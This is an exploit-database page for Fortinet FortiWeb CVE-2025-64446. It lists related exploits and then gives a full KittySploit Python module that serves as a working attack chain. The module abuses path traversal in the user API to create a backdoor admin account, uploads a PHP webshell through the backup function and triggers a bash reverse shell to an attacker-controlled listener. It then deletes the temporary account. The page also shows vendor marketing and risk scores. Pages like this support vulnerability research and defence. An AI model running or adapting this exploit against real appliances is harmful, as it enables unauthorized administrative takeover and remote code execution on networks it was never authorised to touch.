Fortinet FortiWeb CVE-2025-64446 API webshell reverse shell
| Reporter | Title | Published | Views | Family All 63 |
|---|---|---|---|---|
| Exploit for OS Command Injection in Fortinet Fortiweb | 4 Mar 202608:31 | – | githubexploit | |
| Exploit for Relative Path Traversal in Fortinet Fortiweb | 26 Mar 202611:29 | – | githubexploit | |
| Exploit for Relative Path Traversal in Fortinet Fortiweb | 21 Nov 202500:37 | – | githubexploit | |
| Exploit for OS Command Injection in Fortinet Fortiweb | 24 Jun 202612:41 | – | githubexploit | |
| Exploit for Relative Path Traversal in Fortinet Fortiweb | 18 Nov 202510:25 | – | githubexploit | |
| Exploit for CVE-2025-58034 | 19 Nov 202509:52 | – | githubexploit | |
| Exploit for Relative Path Traversal in Fortinet Fortiweb | 30 Jul 202618:14 | – | githubexploit | |
| Exploit for OS Command Injection in Fortinet Fortiweb | 2 Mar 202614:36 | – | githubexploit | |
| FortiWeb web application firewall Privilege Escalation | 13 Nov 202500:00 | – | bdu_fstec | |
| CVE-2025-64446 | 14 Nov 202515:42 | – | circl |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.protocols.http.http_client import Http_client
import base64
import time
class Module(Exploit, Http_client):
__info__ = {
"name": "Fortinet FortiWeb CVE-2025-64446 API webshell reverse shell",
"description": "Chains CVE-2025-64446 style API abuse: create local admin via path "
"traversal in user API, login, upload PHP via maintenance backup, trigger "
"callback, then remove the temporary account.",
"author": ["Mohammed Idrees Banyamer | @banyamer_security", "KittySploit Team"],
"cve": ["CVE-2025-64446"],
"platform": Platform.UNIX,
"arch": [Arch.X86, Arch.X64],
"references": [
["URL", "https://www.fortiguard.com/psirt/FG-IR-25-910"],
],
"payload": {
"default": "payloads/singles/cmd/unix/bash_reverse_tcp",
"platform": Platform.UNIX,
"category": PayloadCategory.SINGLE,
},
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
},
}
path = OptString("/", "Base URI path (prefix before /api/v2.0)", required=False)
backdoor_user = OptString("pwnedadmin", "Temporary admin username to create", required=False)
backdoor_pass = OptString("Pwned123!", "Temporary admin password", required=False)
webshell_name = OptString("pwned.dat", "Webshell filename (under web root)", required=False)
trigger_wait = OptInteger(8, "Seconds to wait after trigger before cleanup", required=False, advanced=True)
delete_temp_user = OptBool(True, "Delete temporary admin after exploit", required=False, advanced=True)
def check(self):
try:
print_info(f"Checking {self.target}:{self.port} (API reachability)...")
r = self.http_request(
method="GET",
path=f"{self.path.rstrip('/')}/api/v2.0/login",
timeout=10,
allow_redirects=True,
)
if not r:
return {
"vulnerable": False,
"reason": "No HTTP response",
"confidence": "low",
}
if r.status_code in (200, 401, 403, 404):
return {
"vulnerable": True,
"reason": "FortiWeb-style API path responded (manual verification required)",
"confidence": "low",
}
return {
"vulnerable": False,
"reason": f"Unexpected HTTP {r.status_code}",
"confidence": "low",
}
except Exception as e:
return {
"vulnerable": False,
"reason": f"Check failed: {e}",
"confidence": "low",
}
def run(self):
print_info(f"Target: {self.target}:{self.port}{self.path}")
print_info(f"Callback: {self.lhost}:{self.lport}")
hdr_json = {"Content-Type": "application/json"}
base = self.path.rstrip("/")
shell = (
'<?php system("bash -c \'bash -i >& /dev/tcp/'
+ str(self.lhost)
+ "/"
+ str(self.lport)
+ " 0>&1'\"); ?>"
)
b64shell = base64.b64encode(shell.encode()).decode() + "AAA=="
try:
print_status("Creating temporary admin user...")
r = self.http_request(
method="POST",
path=f"{base}/api/v2.0/user/local.add",
headers=hdr_json,
json={
"../../mkey": self.backdoor_user,
"password": self.backdoor_pass,
"isadmin": "1",
"status": "enable",
},
timeout=10,
)
if not r or r.status_code != 200 or "success" not in (r.text or "").lower():
return False
print_status("Logging in with new admin...")
login = self.http_request(
method="POST",
path=f"{base}/api/v2.0/login",
headers=hdr_json,
json={"username": self.backdoor_user, "password": self.backdoor_pass},
timeout=10,
)
if not login or "success" not in (login.text or "").lower():
return False
self.remove_header("Content-Type")
print_status("Uploading webshell via backup function...")
self.http_request(
method="POST",
path=f"{base}/api/v2.0/system/maintenance/backup",
files={
"upload-file": (self.webshell_name, b64shell, "application/octet-stream"),
},
timeout=15,
)
print_status(f"Triggering reverse shell ({self.lhost}:{self.lport})...")
self.http_request(
method="GET",
path=f"{base}/{self.webshell_name}" if base else f"/{self.webshell_name}",
timeout=10,
)
time.sleep(self.trigger_wait)
print_success("Exploit chain completed — check your listener for a shell.")
return True
finally:
if self.delete_temp_user:
try:
self.session.headers["Content-Type"] = "application/json"
print_status("Cleaning up temporary admin account...")
self.http_request(
method="POST",
path=f"{base}/api/v2.0/user/local.delete",
headers=hdr_json,
json={"../../mkey": self.backdoor_user},
timeout=10,
)
except Exception as e:
print_warning(f"Deletion failed (manual removal may be needed): {e}")
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Jul 2026 11:31Current
8.8High risk
Vulners AI Score8.8
CVSS 3.19.8
EPSS0.91965
SSVC